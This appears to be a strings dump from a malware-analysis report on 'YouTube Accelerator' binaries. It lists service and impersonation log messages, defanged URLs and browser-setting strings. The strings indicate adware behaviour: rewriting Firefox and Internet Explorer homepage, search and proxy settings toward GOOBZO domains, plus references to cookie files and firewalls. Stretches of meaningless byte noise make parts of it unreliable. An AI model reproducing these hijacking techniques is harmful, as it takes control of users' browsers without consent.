%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

YouTubeAccelerator.exe_3124:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

@Uu.AUuv

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

